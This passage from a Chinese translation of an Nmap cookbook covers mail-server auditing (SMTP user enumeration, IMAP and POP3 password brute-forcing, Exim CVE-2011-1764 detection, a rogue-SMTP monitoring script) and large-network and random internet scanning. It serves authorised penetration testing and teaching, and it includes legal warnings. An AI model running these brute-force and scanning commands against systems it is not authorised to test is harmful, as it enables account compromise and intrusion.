- 要使用不同的用户名列表,请设置参数
userdb
:
$ nmap -p25 --script smtp-enum-users --script-args userdb=/var/usernames.txt <target>
- 在找到一个有效帐户后退出,请使用参数
brute.firstOnly
:
$ nmap -p25 --script smtp-enum-users --script-args brute.firstOnly <target>
- 要设置不同的超时限制,请使用参数
unpwd.timelimit
。要无限期运行,请将其设置为0
:
$ nmap -p25 --script smtp-enum-users --script-args unpwdb.timelimit=0 <target>
$ nmap -p25 --script smtp-enum-users --script-args unpwdb.timelimit=60m <target>
调试 NSE 脚本
如果运行任何 NSE 脚本时发生意外情况,请打开调试以获取更多信息。 Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
使用 Google 搜索发现有效的电子邮件帐户配方
-
暴力破解 SMTP 密码配方
-
在 SMTP 服务器中枚举用户配方
-
检测后门 SMTP 服务器配方
-
暴力破解 IMAP 密码配方
-
检索 IMAP 邮件服务器的功能配方
-
暴力破解 POP3 密码配方
-
检索 POP3 邮件服务器的功能配方
检测后门 SMTP 服务器
受损的服务器可能安装了流氓 SMTP 服务器,并被垃圾邮件发送者滥用。系统管理员可以使用 Nmap 来帮助他们监视网络中的邮件服务器。
这个配方展示了如何使用 Nmap 检测流氓 SMTP 服务器。
如何做...
打开您的终端并输入以下 Nmap 命令:
$ nmap -sV --script smtp-strangeport <target>
如果在非标准端口上发现邮件服务器,它将在脚本输出部分中报告:
PORT STATE SERVICE VERSION
9999/tcp open ssl/smtp Postfix smtpd
|_smtp-strangeport: Mail server on unusual port: possible malware
它是如何工作的...
脚本smtp-strangeport
由 Diman Todorov 提交。它检测在非标准端口上运行的 SMTP 服务器,这是流氓邮件服务器的指标。如果发现 SMTP 服务器在 25、465 和 587 端口之外的端口上运行,此脚本将通知您。
参数-sV --script smtp-strangeport
使 Nmap 开始服务检测并启动 NSE 脚本smtp-strangeport
,它将比较发现 SMTP 服务器的端口号与已知端口号 25、465 和 587。
还有更多...
我们可以使用这个脚本为您的邮件服务器设置一个监控系统,如果发现了一个流氓 SMTP 服务器,它会通知您。首先,创建文件夹/usr/local/share/nmap-mailmon/
。
扫描您的主机并将结果保存在我们刚刚创建的mailmon
目录中:
#nmap -oX /usr/local/share/nmap-mailmon/base.xml -sV -p- -Pn -T4 <target>
生成的文件将用于比较结果,并且它应该反映您已知的服务列表。现在,创建文件nmap-mailmon.sh
:
#!/bin/bash
#Bash script to email admin when changes are detected in a network using Nmap and Ndiff.
#
#Don't forget to adjust the CONFIGURATION variables.
#Paulino Calderon <calderon@websec.mx>
#
#CONFIGURATION
#
NETWORK="YOURDOMAIN.COM"
ADMIN=YOUR@EMAIL.COM
NMAP_FLAGS="-sV -Pn -p- -T4 --script smtp-strangeport"
BASE_PATH=/usr/local/share/nmap-mailmon/
BIN_PATH=/usr/local/bin/
BASE_FILE=base.xml
NDIFF_FILE=ndiff.log
NEW_RESULTS_FILE=newscanresults.xml
BASE_RESULTS="$BASE_PATH$BASE_FILE"
NEW_RESULTS="$BASE_PATH$NEW_RESULTS_FILE"
NDIFF_RESULTS="$BASE_PATH$NDIFF_FILE"
if [ -f $BASE_RESULTS ]
then
echo "Checking host $NETWORK"
${BIN_PATH}nmap -oX $NEW_RESULTS $NMAP_FLAGS $NETWORK
${BIN_PATH}ndiff $BASE_RESULTS $NEW_RESULTS > $NDIFF_RESULTS
if [ $(cat $NDIFF_RESULTS | wc -l) -gt 0 ]
then
echo "Network changes detected in $NETWORK"
cat $NDIFF_RESULTS
echo "Alerting admin $ADMIN"
mail -s "Network changes detected in $NETWORK" $ADMIN < $NDIFF_RESULTS
fi
fi
不要忘记更新以下配置值:
NETWORK="YOURDOMAIN.COM"
ADMIN=YOUR@EMAIL.COM
NMAP_FLAGS="-sV -Pn -p- -T4 --script smtp-strangeport"
BASE_PATH=/usr/local/share/nmap-mailmon/
BIN_PATH=/usr/local/bin/
BASE_FILE=base.xml
NDIFF_FILE=ndiff.log
NEW_RESULTS_FILE=newscanresults.xml
使用以下命令使脚本nmap-mailmon.sh
可执行:
#chmod +x /usr/local/share/nmap-mailmon/nmap-mailmon.sh
您现在可以添加以下crontab
条目,以自动运行此脚本:
0 * * * * /usr/local/share/nmap-mon/nmap-mon.sh
重新启动 cron,您应该已成功安装了一个监控系统,如果发现流氓 SMTP 服务器,它将通知您。
另请参阅
-
检测开放中继配方
-
检测易受攻击的 Exim SMTP 服务器版本 4.70 至 4.75配方
暴力破解 IMAP 密码
电子邮件帐户存储非常敏感的信息,审计邮件服务器的渗透测试人员必须检测可能危及电子邮件帐户和通过它们访问的信息的弱密码。
在这个配方中,我们将使用 Nmap 对 IMAP 密码进行暴力破解。
如何做...
要对 IMAP 执行暴力密码审计,请使用以下命令:
$ nmap -p143 --script imap-brute <target>
在脚本输出部分下,将列出找到的所有有效帐户:
PORT STATE SERVICE REASON
143/tcp open imap syn-ack
| imap-brute:
| Accounts
| acc1:test - Valid credentials
| webmaster:webmaster - Valid credentials
| Statistics
|_ Performed 112 guesses in 112 seconds, average tps: 1
它是如何工作的...
脚本imap-brute
由 Patrik Karlsson 提交,它对 IMAP 服务器执行暴力密码审计。它支持LOGIN
、PLAIN
、CRAM-MD5
、DIGEST-MD5
和NTLM
身份验证。
默认情况下,此脚本使用单词列表/nselib/data/usernames.lst
和/nselib/data/passwords.lst
,但您可以通过配置暴力库来更改这一点。
参数-p143 --script imap-brute
告诉 Nmap 如果在 143 端口上发现 IMAP,则启动脚本imap-brute
。
还有更多...
脚本imap-brute
依赖于 NSE 库unpwdb
和brute
。这些库有几个脚本参数,可用于调整您的暴力密码审计。
- 要使用不同的用户名和密码列表,请分别设置参数
userdb
和passdb
:
$ nmap -p143 --script imap-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
- 要在找到一个有效帐户后退出,请使用参数
brute.firstOnly
:
$ nmap -p143 --script imap-brute --script-args brute.firstOnly <target>
- 要设置不同的超时限制,请使用参数
unpwd.timelimit
。要无限期运行它,请将其设置为 0:
$ nmap -p143 --script imap-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p143 --script imap-brute --script-args unpwdb.timelimit=60m <target>
Brute 模式
暴力库支持不同的模式,可以改变攻击中使用的用户名/密码组合。可用的模式有:
user
:对于userdb
中列出的每个用户,将尝试passdb
中的每个密码
$ nmap --script imap-brute --script-args brute.mode=user <target>
pass
:对于passdb
中列出的每个密码,将尝试userdb
中的每个用户
$ nmap --script imap-brute --script-args brute.mode=pass <target>
creds
:这需要额外的参数brute.credfile
$ nmap --script imap-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
调试 NSE 脚本
如果运行任何 NSE 脚本时发生意外情况,请打开调试以获取更多信息。Nmap 使用标志-d
进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
使用 Google 搜索发现有效的电子邮件帐户配方
-
暴力破解 SMTP 密码的方法
-
在 SMTP 服务器中枚举用户的方法
-
检索 IMAP 邮件服务器的功能
-
暴力破解 POP3 密码的方法
-
检索 POP3 邮件服务器的功能
检索 IMAP 邮件服务器的功能
IMAP 服务器可能支持不同的功能。有一个名为CAPABILITY
的命令允许客户端列出这些支持的邮件服务器功能,我们可以使用 Nmap 来自动化这个任务。
此方法向您展示了如何使用 Nmap 列出 IMAP 服务器的功能。
如何做...
打开您喜欢的终端并输入以下 Nmap 命令:
$ nmap -p143,993 --script imap-capabilities <target>
结果将包括在脚本输出部分下:
993/tcp open ssl/imap Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS completed AUTH=PLAIN OK Capability UNSELECT THREAD=REFERENCES AUTH=LOGINA0001 IMAP4rev1 NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND
它是如何工作的...
脚本imap-capabilities
由 Brandon Enright 提交,它尝试使用在 RFC 3501 中定义的CAPABILITY
命令来列出 IMAP 服务器的支持功能。
参数-p143,993 --script imap-capabilities
告诉 Nmap 在端口 143 或 993 上发现 IMAP 服务器时启动 NSE 脚本imap-capabilities
。
还有更多...
对于 IMAP 服务器运行在非标准端口的情况,您可以使用端口选择标志-p
,或者启用 Nmap 的服务检测:
#nmap -sV --script imap-capabilities <target>
调试 NSE 脚本
如果运行任何 NSE 脚本时发生意外情况,请打开调试以获取更多信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
暴力破解 SMTP 密码的方法
-
在 SMTP 服务器中枚举用户的方法
-
检测后门 SMTP 服务器的方法
-
暴力破解 IMAP 密码的方法
-
检索 IMAP 邮件服务器的功能
-
暴力破解 POP3 密码的方法
-
检索 POP3 邮件服务器的功能
-
检测易受攻击的 Exim SMTP 服务器版本 4.70 至 4.75 的方法
暴力破解 POP3 密码
电子邮件帐户存储着敏感信息。审计邮件服务器的渗透测试人员必须测试弱密码,这些密码可能帮助攻击者 compromise 重要的帐户。
此方法向您展示了如何使用 Nmap 对 POP3 邮件服务器进行暴力破解密码审计。
如何做...
要通过 Nmap 对 POP3 进行字典攻击,请输入以下命令:
$ nmap -p110 --script pop3-brute <target>
任何有效的帐户都将列在脚本输出部分下:
PORT STATE SERVICE
110/tcp open pop3
| pop3-brute: webmaster : abc123
|_acc1 : password
它是如何工作的...
pop3-brute
由 Philip Pickering 提交,它对 POP3 邮件服务器进行暴力破解密码审计。默认情况下,它使用单词列表/nselib/data/usernames.lst
和/nselib/data/passwords.lst
作为用户名和密码组合。
还有更多...
脚本pop3-brute
依赖于 NSE 库unpwdb
。该库有几个脚本参数,可用于调整您的暴力破解密码审计。
- 要使用不同的用户名和密码列表,请设置参数
userdb
和passdb
:
$ nmap -p110 --script pop3-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
- 要设置不同的超时限制,请使用参数
unpwd.timelimit
。要无限期运行它,请将其设置为0
:
$ nmap -p110 --script pop3-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p110 --script pop3-brute --script-args unpwdb.timelimit=60m <target>
调试 NSE 脚本
如果运行任何 NSE 脚本时发生意外情况,请打开调试以获取更多信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
使用 Google 搜索发现有效的电子邮件帐户的方法
-
暴力破解 SMTP 密码的方法
-
在 SMTP 服务器中枚举用户的方法
-
检测后门 SMTP 服务器的方法
-
暴力破解 IMAP 密码的方法
-
检索 IMAP 邮件服务器的功能
-
暴力破解 POP3 密码的方法
-
检索 POP3 邮件服务器的功能
检索 POP3 邮件服务器的功能
POP3 邮件服务器可能支持 RFC 2449 中定义的不同功能。通过使用 POP3 命令,我们可以列出它们,并且由于 Nmap,我们可以自动化这个任务并将此服务信息包含在我们的扫描结果中。
这个配方将教你如何使用 Nmap 列出 POP3 邮件服务器的功能。
如何做...
打开您喜欢的终端并输入以下 Nmap 命令:
$ nmap -p110 --script pop3-capabilities <target>
服务器功能列表将包含在脚本输出部分:
PORT STATE SERVICE
110/tcp open pop3
|_pop3-capabilities: USER CAPA UIDL TOP OK(K) RESP-CODES PIPELINING STLS SASL(PLAIN LOGIN)
它是如何工作...
脚本pop3-capabilities
由 Philip Pickering 提交,它尝试检索 POP3 和 POP3S 服务器的功能。它使用 POP3 命令CAPA
向服务器请求支持的命令列表。该脚本还尝试通过IMPLEMENTATION
字符串和任何其他特定于站点的策略来检索版本字符串。
还有更多...
脚本pop3-capabilities
适用于 POP3 和 POP3S。在非标准端口上运行的邮件服务器可以通过 Nmap 的服务扫描来检测:
$ nmap -sV --script pop3-capabilities <target>
调试 NSE 脚本
如果运行任何 NSE 脚本时发生意外情况,请打开调试以获取更多信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
检测开放继电器配方
-
暴力破解 SMTP 密码配方
-
在 SMTP 服务器中枚举用户配方
-
检测后门 SMTP 服务器配方
-
暴力破解 IMAP 密码配方
-
检索 IMAP 邮件服务器的功能配方
-
暴力破解 POP3 密码配方
-
检测易受攻击的 Exim SMTP 服务器版本 4.70 至 4.75配方
检测易受攻击的 Exim SMTP 服务器版本 4.70 至 4.75
启用 DKIM 的 Exim SMTP 服务器 4.70 至 4.75 存在格式字符串错误,允许远程攻击者执行代码。 Nmap NSE 可以帮助渗透测试人员远程检测此漏洞。
这个配方说明了利用 Nmap 的 Exim SMTP 服务器的过程。
如何做...
打开你的终端并输入以下命令:
$ nmap --script smtp-vuln-cve2011-1764 --script-args mailfrom=<Source address>,mailto=<Destination address>,domain=<domain> -p25,465,587 <target>
如果 Exim 服务器存在漏洞,脚本输出部分将包含更多信息:
PORT STATE SERVICE
587/tcp open submission
| smtp-vuln-cve2011-1764:
| VULNERABLE:
| Exim DKIM format string
| State: VULNERABLE
| IDs: CVE:CVE-2011-1764 OSVDB:72156
| Risk factor: High CVSSv2: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)
| Description:
| Exim SMTP server (version 4.70 through 4.75) with DomainKeys Identified
| Mail (DKIM) support is vulnerable to a format string. A remote attacker
| who is able to send emails, can exploit this vulnerability and execute
| arbitrary code with the privileges of the Exim daemon.
| Disclosure date: 2011-04-29
| References:
| http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1764
| http://osvdb.org/72156
|_ http://bugs.exim.org/show_bug.cgi?id=1106
它是如何工作的...
脚本smtp-vuln-cve2011-1764
由 Djalal Harouni 编写。它通过发送格式不正确的 DKIM 标头并检查连接是否关闭或返回错误来检测易受攻击的 Exim SMTP 服务器 4.70-4.75 与Domain Keys Identified Mail(DKIM)。
还有更多...
默认情况下,脚本smtp-vuln-cve2011-1764
在初始握手中使用nmap.scanme.org
作为域,但您可以通过指定脚本参数smtp-vuln-cve2011-1764.domain
来更改这一点:
$ nmap --script smtp-vuln-cve2011-1764 --script-args domain=<domain> -p25,465,587 <target>
要更改与源地址和目标地址对应的默认值root@<domain>
和postmaster@<target>
,请使用参数smtp-vuln-cve2011-1764.mailfrom
和smtp-vuln-cve2011-1764.mailto
:
$ nmap --script smtp-vuln-cve2011-1764 --script-args mailto=admin@0xdeadbeefcafe.com,mailfrom=test@0xdeadbeefcafe.com -p25,465,587 <target>
调试 NSE 脚本
如果运行任何 NSE 脚本时发生意外情况,请打开调试以获取更多信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
检测开放继电器配方
-
暴力破解 SMTP 密码配方
-
在 SMTP 服务器中枚举用户配方
-
检测后门 SMTP 服务器配方
-
暴力破解 IMAP 密码配方
-
检索 IMAP 邮件服务器的功能配方
-
暴力破解 POP3 密码配方
-
检索 POP3 邮件服务器的功能配方
第七章:扫描大型网络
注意
本章向您展示了如何做一些在许多情况下可能是非法的、不道德的、违反服务条款的,或者只是不明智的事情。这里提供这些信息是为了让您了解如何保护自己免受威胁,并使自己的系统更加安全。在遵循这些说明之前,请确保您站在合法和道德的一边……善用您的力量!
在本章中,我们将涵盖:
-
扫描 IP 地址范围
-
从文本文件中读取目标
-
扫描随机目标
-
跳过测试以加快长时间扫描的速度
-
选择正确的时间模板
-
调整时间参数
-
调整性能参数
-
收集 Web 服务器的签名
-
通过使用 Dnmap 在多个客户端之间分发扫描
介绍
我最喜欢 Nmap 的一些功能是它的稳定性以及在扫描大型网络时的可定制性。Nmap 可以在单次运行中高效地扫描数百万个 IP。我们只需要小心地理解和调整可能影响性能的变量,并在扫描目标之前真正考虑我们的目标。
本章涵盖了在扫描大型网络时需要考虑的最重要的方面。我们首先介绍了诸如读取目标列表、选择正确的时间模板、生成随机目标和跳过阶段以节省时间等基本任务。本章涵盖的高级任务包括 Nmap 中可用的时间和性能参数的概述,以及如何正确使用它们。我还将向您展示如何从互联网上收集 HTTP 标头进行分析,例如流行的服务“ShodanHQ”,但只使用 Nmap。
最后,我介绍了一个名为 Dnmap 的非官方工具,它可以帮助我们在多个客户端之间分发 Nmap 扫描,从而节省时间并利用额外的带宽和 CPU 资源。
扫描 IP 地址范围
经常,渗透测试人员和系统管理员需要扫描的不是单个机器,而是一系列主机。Nmap 支持不同格式的 IP 地址范围,我们必须知道如何处理它们是至关重要的。
本教程解释了在使用 Nmap 进行扫描时如何处理 IP 地址范围。
如何做...
打开您的终端并输入以下命令:
# nmap -A -O 192.168.1.0-255
或者您也可以使用以下任何表示法:
# nmap -A -O 192.168.1/24
# nmap -A -O 192.168.1.1 192.168.1.2 ... 192.168.1.254 192.168.1.255
它是如何工作的...
Nmap 支持多种目标格式。最常见的类型是当我们指定目标的 IP 或主机时,但它还支持从文件、范围中读取目标,甚至可以生成一个随机目标列表。
Nmap 中读取的任何无效选项都将被视为目标。这意味着我们可以告诉 Nmap 在单个命令中扫描多个范围,如下面的命令所示:
# nmap -p25,80 -O -T4 192.168.1.1/24 scanme.nmap.org/24
我们可以通过以下三种方式处理 Nmap 中的 IP 范围:
-
多个主机规范
-
八位地址范围
-
CIDR 表示法
要扫描 IP 地址192.168.1.1
、192.168.1.2
和192.168.1.3
,可以使用以下命令:
# nmap -p25,80 -O -T4 192.168.1.1 192.168.1.2 192.168.1.3
我们还可以使用字符“-”指定八位范围。例如,要扫描主机192.168.1.1
、192.168.1.2
和192.168.1.3
,我们可以使用表达式192.168.1.1-3
,如下面的命令所示:
# nmap -p25,80 -O -T4 192.168.1.1-3
在指定目标时也可以使用 CIDR 表示法。CIDR 表示法由 IP 地址和后缀组成。最常用的网络后缀是/8、/16、/24 和/32。要使用 CIDR 表示法扫描192.168.1.0-255
中的 256 个主机,可以使用以下命令:
# nmap -p25,80 -O -T4 192.168.1.1/24
还有更多...
此外,您可以通过指定参数--exclude
来排除范围内的主机,如下所示:
$ nmap -A -O 192.168.1.1-255 --exclude 192.168.1.1
$ nmap -A -O 192.168.1.1-255 --exclude 192.168.1.1,192.168.1.2
或者您可以将排除列表写入文件,并使用--exclude-file
进行读取:
$ cat dontscan.txt
192.168.1.1
192.168.1.254
$ nmap -A -O --exclude-file dontscan.txt 192.168.1.1-255
CIDR 表示法
无类域间路由(CIDR)表示法(发音为"cider")是一种用于指定 IP 地址及其路由后缀的紧凑方法。与类别寻址相比,此表示法因其允许可变长度的子网掩码而变得流行。
CIDR 表示法由 IP 地址和网络后缀指定。网络或 IP 后缀表示网络位数。IPv4 地址为 32 位,因此网络位数可以在 0 和 32 之间。最常见的后缀是/8、/16、/24 和/32。
为了更直观,可以查看以下 CIDR 到子网掩码转换表:
CIDR | 子网掩码 |
---|---|
/8 | 255.0.0.0 |
/16 | 255.255.0.0 |
/24 | 255.255.255.0 |
/32 | 255.255.255.255 |
例如,192.168.1.0/24 表示从 192.168.1.0 到 192.168.1.255 的 256 个 IP 地址。而 50.116.1.121/8 表示 50.0-255.0-255.0-255 之间的所有 IP 地址。网络后缀/32 也是有效的,表示单个 IP。
特权与非特权
以特权用户身份运行nmap <TARGET>
将启动SYN Stealth 扫描。对于无法创建原始数据包的非特权帐户,将使用TCP Connect 扫描。
这两者之间的区别在于 TCP Connect 扫描使用高级系统调用connect
来获取有关端口状态的信息。这意味着每个 TCP 连接都完全完成,因此速度较慢,更容易被检测并记录在系统日志中。SYN Stealth 扫描使用原始数据包发送特制的 TCP 数据包来检测更可靠的端口状态。
端口状态
Nmap 使用以下状态对端口进行分类:
-
Open:此状态表示应用程序正在此端口上监听连接。
-
Closed:此状态表示已收到探测包,但在此端口上没有应用程序在监听。
-
Filtered:此状态表示未收到探测包,无法建立状态。还表示探测包被某种过滤器丢弃。
-
Unfiltered:此状态表示已收到探测包,但无法建立状态。
-
Open/Filtered:此状态表示 Nmap 无法确定端口是被过滤还是开放的状态。
-
Closed/Filtered:此状态表示 Nmap 无法确定端口是被过滤还是关闭的状态。
端口扫描技术
Nmap 支持大量的端口扫描技术。使用nmap -h
获取完整列表。
另请参阅
-
从文本文件中读取目标配方
-
扫描随机目标配方
-
跳过测试以加快长时间扫描配方
-
选择正确的时间模板配方
-
在《第一章》Nmap 基础知识中的列出远程主机的开放端口配方
-
在《第一章》Nmap 基础知识中的使用特定端口范围进行扫描配方
-
使用 Dnmap 在多个客户端之间分发扫描配方
从文本文件中读取目标
有时我们需要处理多个主机并执行多个扫描,但是在命令行中输入每个扫描的目标列表并不是很实用。幸运的是,Nmap 支持从外部文件加载目标。
此配方展示了如何使用 Nmap 扫描从外部文件加载的目标。
如何做...
将目标列表输入到文本文件中,每个目标之间用新行、制表符或空格分隔:
$cat targets.txt
192.168.1.23
192.168.1.12
要从文件targets.txt
加载目标,可以使用以下命令:
$ nmap -iL targets.txt
此功能可以与任何扫描选项或方法结合使用,但不能与--exclude
或--exclude-file
设置的排除规则结合使用。当使用-iL
时,选项标志--exclude
和--exclude-file
将被忽略。
工作原理...
参数-iL <filename>
告诉 Nmap 从文件filename
加载目标。
Nmap 支持输入文件中的几种格式。输入文件中包含的目标列表可以用空格、制表符或换行符分隔。任何排除都应在输入目标文件中反映出来。
还有更多...
您还可以在同一个文件中使用不同的目标格式。在以下文件中,我们指定了一个 IP 地址和一个 IP 范围:
$ cat targets.txt
192.168.1.1
192.168.1.20-30
目标文件可以使用"#"字符包含注释:
$ cat targets.txt
# FTP servers
192.168.10.3
192.168.10.7
192.168.10.11
CIDR 表示法
无类别域间路由 (CIDR) 表示法(发音为"cider")是一种用于指定 IP 地址及其路由后缀的紧凑方法。与有类别地址相比,这种表示法因其允许可变长度的子网掩码而变得流行。
CIDR 表示法由 IP 地址和网络后缀指定。网络或 IP 后缀表示网络位数。IPv4 地址为 32 位,因此网络可以在 0 和 32 之间。最常见的后缀是/8、/16、/24 和/32。
要可视化它,请查看以下 CIDR 到网络掩码转换表:
CIDR | 网络掩码 |
---|---|
/8 | 255.0.0.0 |
/16 | 255.255.0.0 |
/24 | 255.255.255.0 |
/32 | 255.255.255.255 |
例如,192.168.1.0/24 表示从 192.168.1.0 到 192.168.1.255 的 256 个 IP 地址。而 50.116.1.121/8 表示 50.0-255.0-255.0-255 之间的所有 IP 地址。网络后缀/32 也是有效的,表示单个 IP。
从扫描中排除主机列表
Nmap 还支持参数--exclude-file <filename>
,以排除<filename>
中列出的目标:
# nmap -sV -O --exclude-file dontscan.txt 192.168.1.1/24
另请参阅
-
扫描随机目标配方
-
第二章中的排除扫描中的主机配方,网络探索
-
第一章中的运行 NSE 脚本配方,Nmap 基础
-
第三章中的发现指向相同 IP 地址的主机名配方,收集额外主机信息
-
第二章中的扫描 IPv6 地址配方,网络探索
-
收集 Web 服务器签名配方
-
使用 Dnmap 将扫描分布在多个客户端之间配方
扫描随机目标
Nmap 支持一个非常有趣的功能,允许我们对互联网上的随机目标运行扫描。在进行需要随机主机样本的研究时,这非常有用。
此配方向您展示了如何生成随机主机作为 Nmap 扫描的目标。
如何做到...
要生成一个包含 100 个主机的随机目标列表,请使用以下 Nmap 命令:
$ nmap -iR 100
Nmap 将生成一个包含 100 个外部 IP 地址的列表,并使用指定的选项对它们进行扫描。让我们将此选项与 ping 扫描结合使用:
$ nmap -sP -iR 3
Nmap scan report for host86-190-227-45.wlms-broadband.com (86.190.227.45)
Host is up (0.000072s latency).
Nmap scan report for 126.182.245.207
Host is up (0.00023s latency).
Nmap scan report for 158.sub-75-225-31.myvzw.com (75.225.31.158)
Host is up (0.00017s latency).
Nmap done: 3 IP addresses (3 hosts up) scanned in 0.78 seconds
它是如何工作的...
参数-iR 100
告诉 Nmap 生成 100 个外部 IP 地址,并将它们用作指定扫描中的目标。这种目标分配可以与任何组合的扫描标志一起使用。
虽然这是进行互联网研究的一个有用功能,但我建议您谨慎使用此标志。Nmap 无法控制其生成的外部 IP 地址;这意味着在生成的列表中可能包含一个被严密监视的关键机器。为了避免麻烦,请明智地使用此功能。
还有更多...
要告诉 Nmap 生成无限数量的 IP,并因此无限运行,使用以下命令将参数-iR
设置为0
:
$ nmap -iR 0
例如,要在网上找到随机的 NFS 共享,您可以使用以下命令:
$ nmap -p2049 --open -iR 0
端口扫描的法律问题
未经许可进行端口扫描并不受欢迎,甚至在一些国家是非法的。我建议您研究一下当地的法律,了解您被允许做什么,以及在您的国家是否不赞成端口扫描。您还需要咨询您的 ISP,因为他们可能对此有自己的规定。
Nmap 的官方文档对于端口扫描涉及的法律问题有一个很棒的介绍,网址为nmap.org/book/legal-issues.html
。我建议每个人都阅读一下。
目标库
参数--script-args=newtargets
强制 Nmap 使用这些新发现的主机作为目标:
# nmap --script broadcast-ping --script-args newtargets
Pre-scan script results:
| broadcast-ping:
| IP: 192.168.1.105 MAC: 08:00:27:16:4f:71
|_ IP: 192.168.1.106 MAC: 40:25:c2:3f:c7:24
Nmap scan report for 192.168.1.105
Host is up (0.00022s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 08:00:27:16:4F:71 (Cadmus Computer Systems)
Nmap scan report for 192.168.1.106
Host is up (0.49s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 40:25:C2:3F:C7:24 (Intel Corporate)
Nmap done: 2 IP addresses (2 hosts up) scanned in 7.25 seconds
请注意,我们没有指定目标,但newtargets
参数仍然将 IP192.168.1.106
和192.168.1.105
添加到扫描队列中。
参数max-newtargets
设置允许添加到扫描队列中的主机的最大数量:
# nmap --script broadcast-ping --script-args max-newtargets=3
另请参阅
-
扫描 IP 地址范围配方
-
第三章中的对 IP 地址进行地理定位配方,收集额外的主机信息
-
第三章中的从 WHOIS 记录获取信息配方,收集额外的主机信息
-
从文本文件中读取目标配方
-
跳过测试以加快长时间扫描配方
-
第八章中的报告漏洞检查配方,生成扫描报告
-
收集 Web 服务器签名配方
-
使用 Dnmap 在多个客户端之间分发扫描配方
跳过测试以加快长时间扫描
Nmap 扫描分解为不同的阶段。当我们处理大量主机列表时,通过跳过返回我们不需要的信息的测试,我们可以节省时间。通过精心选择我们的扫描标志,我们可以显著提高扫描的性能。
这个配方解释了在扫描时幕后发生的过程,以及如何跳过某些阶段以加快长时间扫描的速度。
如何做...
使用以下命令执行全端口扫描,定时模板设置为激进,并且不进行反向 DNS 解析或 ping:
# nmap -T4 -n -Pn -p- 74.207.244.221
我们刚刚使用的命令给我们以下输出:
Nmap scan report for 74.207.244.221
Host is up (0.11s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9929/tcp open nping-echo
Nmap done: 1 IP address (1 host up) scanned in 60.84 seconds
使用以下命令比较我们得到的运行时间与使用默认参数进行全端口扫描的运行时间:
# nmap -p- scanme.nmap.org
我们刚刚使用的命令给我们以下输出:
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.11s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9929/tcp open nping-echo
Nmap done: 1 IP address (1 host up) scanned in 77.45 seconds
当你处理大量主机时,这个时间差真的会累积起来。我建议你考虑你的目标,并确定你需要的信息,以便考虑跳过一些扫描阶段的可能性。
工作原理...
Nmap 扫描分为几个阶段。其中一些需要设置一些参数才能运行,但其他阶段,比如反向 DNS 解析,默认情况下就会执行。让我们回顾一下可以跳过的阶段及其对应的 Nmap 标志:
-
目标枚举:在这个阶段,Nmap 解析目标列表。这个阶段不能完全跳过,但你可以通过只使用 IP 地址作为目标来节省 DNS 正向查找。
-
主机发现:这是一个阶段,Nmap 在这个阶段确定目标是否在线并在网络中。默认情况下,Nmap 对外部主机执行 ICMP 回显请求 ping,但它支持几种方法和不同的组合。要跳过主机发现阶段(不 ping),使用标志
-Pn
。让我们看看使用以下命令进行带有和不带有-Pn
的扫描的数据包跟踪:
$ nmap -Pn -p80 -n --packet-trace scanme.nmap.org
我们刚刚使用的命令给我们以下输出:
SENT (0.0864s) TCP 106.187.53.215:62670 > 74.207.244.221:80 S ttl=46 id=4184 iplen=44 seq=3846739633 win=1024 <mss 1460>
RCVD (0.1957s) TCP 74.207.244.221:80 > 106.187.53.215:62670 SA ttl=56 id=0 iplen=44 seq=2588014713 win=14600 <mss 1460>
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.11s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
要进行扫描而不跳过主机发现,我们有以下命令:
$ nmap -p80 -n –packet-trace scanme.nmap.org
这个命令的输出是:
SENT (0.1099s) ICMP 106.187.53.215 > 74.207.244.221 Echo request (type=8/code=0) ttl=59 id=12270 iplen=28
SENT (0.1101s) TCP 106.187.53.215:43199 > 74.207.244.221:443 S ttl=59 id=38710 iplen=44 seq=1913383349 win=1024 <mss 1460>
SENT (0.1101s) TCP 106.187.53.215:43199 > 74.207.244.221:80 A ttl=44 id=10665 iplen=40 seq=0 win=1024
SENT (0.1102s) ICMP 106.187.53.215 > 74.207.244.221 Timestamp request (type=13/code=0) ttl=51 id=42939 iplen=40
RCVD (0.2120s) ICMP 74.207.244.221 > 106.187.53.215 Echo reply (type=0/code=0) ttl=56 id=2147 iplen=28
SENT (0.2731s) TCP 106.187.53.215:43199 > 74.207.244.221:80 S ttl=51 id=34952 iplen=44 seq=2609466214 win=1024 <mss 1460>
RCVD (0.3822s) TCP 74.207.244.221:80 > 106.187.53.215:43199 SA ttl=56 id=0 iplen=44 seq=4191686720 win=14600 <mss 1460>
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.10s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
